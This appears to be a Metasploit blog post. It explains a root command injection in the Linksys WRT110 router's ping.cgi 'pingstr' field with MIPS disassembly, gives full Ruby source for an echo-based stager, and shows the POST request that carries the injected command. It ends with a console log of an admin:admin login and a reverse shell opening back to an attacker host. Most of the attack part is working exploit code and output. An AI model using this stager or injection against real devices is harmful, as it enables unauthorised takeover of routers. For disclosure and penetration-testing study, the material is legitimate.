Introduction

Earlier this summer Craig Young posted on Bugtraq about a root command injection vulnerability on the Linksys WRT110 router. This was a nice one because because the request, basic authentication protected, is also exploitable through CSRF:

Our awesome Joe Vennix figured out the vulnerability and how to exploit it to get a session, even on a restricted Linux environment like the Linksys one. Since the experience can be useful for others exploiting embedded devices, here it is!

The Vulnerability

The exploit, a command injection vulnerability, can be found on the http service assembler, specifically on the cgi_ping handler, reachable from the web interface. The vulnerable code gets the usercontrolled "pingstr" from the HTTP query:

.text:0040FFB0 loc_40FFB0:  # CODE XREF: cgi_ping 2D8 j 
.text:0040FFB0              la      $t9, atoi 
.text:0040FFB4                nop 
.text:0040FFB8                jalr    $t9 ; atoi 
.text:0040FFBC                nop
.text:0040FFC0                lw      $gp, 0xE0 var_C8($sp) 
.text:0040FFC4                nop 
.text:0040FFC8                la      $a0, 0x460000 
.text:0040FFCC                nop
.text:0040FFD0                addiu  $a0, (aPingstr - 0x460000)  # "pingstr"
.text:0040FFD4                move    $s0, $v0 
.text:0040FFD8                la      $t9, get_cgi
.text:0040FFDC                nop 
.text:0040FFE0                jalr    $t9 ; get_cgi
.text:0040FFE4                nop 
.text:0040FFE8                lw      $gp, 0xE0 var_C8($sp)
.text:0040FFEC                bnez    $v0, loc_410000

Builds the command line using the sprintf function with with user controlled data:

.text:00410000
.text:00410000 loc_410000:                       # CODE XREF: cgi_ping 328 j .text:00410000                                   # DATA XREF: .got:10001E24 o .text:00410000                move    $a2, $s1
.text:00410004                move    $a3, $s0 ; user controlled data from "pingstr"
.text:00410008                addiu  $a0, $sp, 0xE0 var_C0 ; store the resulting command
.text:0041000C                la      $a1, 0x460000
.text:00410010                nop
.text:00410014                addiu  $a1, (aPingFCDSDS - 0x460000)  # "ping -f -c %d -s %d %s &"
.text:00410018                sw      $v1, 0xE0 var_D0($sp)
.text:0041001C                la      $t9, sprintf
.text:00410020                nop
.text:00410024                jalr    $t9 ; sprintf
.text:00410028                nop
.text:0041002C                lw      $gp, 0xE0 var_C8($sp)
.text:00410030                b      loc_4100E8
.text:00410034 

And finally executes it through system, making it vulnerable to command injection:

.text:004100E8 loc_4100E8:                              # CODE XREF: cgi_ping 36C j
.text:004100E8                la      $a0, 0x460000
.text:004100EC                nop
.text:004100F0                addiu  $a0, (aMarmotPingStrS - 0x460000)  # "marmot: ping str %s\n"
.text:004100F4                addiu  $a1, $sp, 0xE0 var_C0
.text:004100F8                la      $t9, printf
.text:004100FC                nop
.text:00410100                jalr    $t9 ; printf
.text:00410104                nop
.text:00410108                lw      $gp, 0xE0 var_C8($sp)
.text:0041010C                addiu  $a0, $sp, 0xE0 var_C0 ; The command built from user controlled data
.text:00410110                la      $t9, system
.text:00410114                nop
.text:00410118                jalr    $t9 ; system
.text:0041011C                nop
.text:00410120                lw      $gp, 0xE0 var_C8($sp)
.text:00410124

Unfortunately, even with the ability to execute arbitrary commands, getting a session on a Linksys WRT110 wasn't so straightforward. This was because of a very restricted busybox environment, a lack of utilities such as wget, openssl, and daemons like telnetd. On this environment, Joe was still able to launch a stager by injecting echo commands, enabling interpretation of backslash escapes ("-e" flag). Some of you may also find Metasploit's new CMD stager useful for exploiting other restricted Linux environments.

The New CMD Stager

Following we're going to review the basics of the new stager. First of all, a new Rex::Exploitation::CmdStagerBase subclass is provided, Rex::Exploitation::CmdStagerEcho. This class will get the final payload, embed it into an ELF file, and generate the necessary commands to drop it to filesystem, execute and clean it. We're going to review the most interesting methods CmdStagerEcho is overriding in order to provide the new stager:

  • generate: This method is overridden to ensure opts[:path] is a correct *nix path, and finally calls the parent method, who generates the cmd payload including the decoding of an encoded payload, execution and cleanup commands.
def generate(opts = {})
    opts[:temp] = opts[:temp] || '/tmp/'
    opts[:temp].gsub!(/\\/, "/")
    opts[:temp] = opts[:temp].shellescape
    opts[:temp] << '/' if opts[:temp][-1,1] != '/'
    super
end
  • generate_cmds: This method is overridden to set the extra byte count (in order to split correctly the original file with the payload). Also set the start/end of the commands, which are the commands around every part of the original file with the payload.
def generate_cmds(opts)
    @cmd_start = "echo -en "
    @cmd_end  = ">>#{@tempdir}#{@var_elf}"
    xtra_len = @cmd_start.length @cmd_end.length 1
    opts.merge!({ :extra => xtra_len })
    super
end
  • encode_payload: This method must be overridden in order to encode the payload if necessary. In this case, the String containing the ELF with the payload musb be incoded into a "\x55\xAA" hex format that echo understands, where interpretation of backslash escapes is enabled.
def encode_payload(opts)
    return Rex::Text.to_hex(@exe, "\\\\x")
end
  • slice_up_payload: This method take a string of data (the encoded payload) and turn it into an array of usable pieces (parts). That's used to circumvent limitations on the executed command length. This method must be overridden because the, on the current stager, the representation of an hex byte cannot be split:
def slice_up_payload(encoded, opts)
    encoded_dup = encoded.dup
    
    
    parts = []
    xtra_len = opts[:extra]
    xtra_len ||= 0
    while (encoded_dup.length > 0)
    temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
    # cut the end of the part until we reach the start
    # of a full byte representation "\\xYZ"
    while (temp.length > 0 && temp[-5, 3] != "\\\\x")
        temp.chop!
    end
    parts << temp
    encoded_dup.slice!(0, temp.length)
  end
  parts
end
  • parts_to_commands: This method combines the parts of the encoded file with the stuff that goes before / after it, in order to generate every command:
def parts_to_commands(parts, opts)
    cmds = []
    parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
    end
    cmds
end
  • generate_cmds_decoder: since there is no decoding task in this stager (echo with the "-e" flags allow to write binary contents to the file directly), this method is overridden just to provide the commands necessary to drop, chmod, and execute the binary payload, and then optionally delete it after executing:
def generate_cmds_decoder(opts)
    cmds = []
    # Make it all happen
    cmds << "chmod x #{@tempdir}#{@var_elf}"
    cmds << "#{@tempdir}#{@var_elf}"
    
    # Clean up after unless requested not to..
    if (not opts[:nodelete])
        cmds << "rm -f #{@tempdir}#{@var_elf}"
    end
    
    return cmds
end

Once the new Rex class is ready, the next step is to provide a new Exploit mixin so modules for command injection vulnerabilities can easily use it to get a new session. In order to provide a new CmdStager mixin, it should include the CmdStager interface, define a create_stager method, and override any other methods if necessary. In this case, just defining create_stager to return a new Rex::Exploitation::CmdStagerEcho instance is all what is needed:

####
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
#
# This stager uses the echo's "-e" flag, that enable interpretation of
# backslash escapes, to drop an ELF with the payload embedded to disk.
# The "-e" flag is usually available on linux environments. This stager
# has been found useful on restricted linux based embedded devices.
####

module Exploit::CmdStagerEcho

include Msf::Exploit::CmdStager

# Initializes a CmdStagerEcho instance for the supplied payload
# 
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
def create_stager(exe)
    Rex::Exploitation::CmdStagerEcho.new(exe)
    end
end

Getting shells

Once here, an exploit can profit off the new CMD stager by including the new mixin (Msf::Exploit::CmdStagerEcho), calling the execute_cmdstager from the exploit method, and define the execute_command method. This method should allow to execute an arbitrary command, through the exploited vulnerability. In the CVE-2013-3568 case, an HTTP POST query with the command injection in the 'pingstr' variable is sent:

# Run the command on the router
def execute_command(cmd, opts)
    send_request_cgi({
        'uri' => '/ping.cgi',
        'method' => 'POST',
        'vars_post' => {       'pingstr' => '& ' cmd     }   }) end

Finally, time to enjoy shells!

msf exploit(linksys_wrt110_cmd_exec_stager) > show options

Module options (exploit/linux/http/linksys_wrt110_cmd_exec_stager):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
PASSWORD  admin            no        Password to login with
Proxies                    no        Use a proxy chain
RHOST     192.168.1.1      yes       The address of the router
RPORT     80               yes       The target port
TIMEOUT   20               no        The timeout to use in every request
USERNAME  admin            yes       Valid router administrator username
VHOST                      no        HTTP server virtual host

Payload options (linux/mipsle/shell_reverse_tcp):
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST  192.168.1.100    yes       The listen address
LPORT  4444             yes       The listen port

Exploit target:
Id  Name
--  ----
0   Linux mipsel Payload
msf exploit(linksys_wrt110_cmd_exec_stager) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.100:4444
[*] 192.168.1.1:80 - Trying to login with admin:admin
[ ] 192.168.1.1:80 - Successful login admin:admin
[*] Command Stager progress -  90.69% done (2046/2256 bytes)
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.1:32771) at 2013-09-16 14:41:48 -0500

[*] Command Stager progress - 100.00% done (2256/2256 bytes)

ls
AdminDiag.htm
AdminManage.htm
AdminRebootConfig_Clicked.htm
AdminRebootConfig_Clicked_reboot.htm
AdminReport.htm
AdminRestore.htm
AdminRouting.htm
AdminUpgrade.htm
AdminUpgradeFail.htm
AdminUploadConfigFail.htm
AdvancedWirelessSettings.htm
AppDDNS.htm
AppDDNSDYN.htm
AppDDNSDYN_msg.htm
AppDDNSTZO.htm
AppDDNSTZO_msg.htm
AppDDNSURL.htm
AppDMZ.htm
AppDMZDHCPClientTable.htm . . . 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.